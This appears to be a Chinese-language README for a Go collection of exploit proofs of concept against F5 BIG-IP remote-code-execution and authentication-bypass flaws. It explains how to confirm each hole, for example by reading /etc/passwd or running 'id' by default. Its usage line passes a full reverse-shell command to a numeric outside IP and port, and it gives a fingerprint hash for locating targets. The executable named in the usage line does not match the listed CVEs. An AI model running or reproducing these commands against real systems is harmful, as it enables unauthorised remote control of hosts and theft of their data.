go语言编写CVE-2020-5902 CVE-2021-22986 CVE-2022-1388 POC集合 后续会增加F5其他POC
author:160team.west9B
仅限用于安全研究人员在授权的情况下使用,遵守网络安全法,产生任何问题,后果自负,与作者无关。
F5 POC合集:
CVE-2020-5902:F5 BIG-IP远程代码执行漏洞
CVE-2021-22986:F5 BIG-IP iControl REST未授权远程命令执行漏洞
CVE-2022-1388:身份验证绕过远程命令执行
CVE-2020-5902验证使用任意文件下载,返回/etc/passwd 则漏洞存在
CVE-2021-22986,CVE-2022-1388 POC默认执行id命令,返回{id}则漏洞存在,可使用-c自定义命令
usage: ./cve-2022-30525.exe -m exp -u url -c bash -i >& /dev/tcp/47.243.251.103/1377 0>&1
icon_hash="-335242539"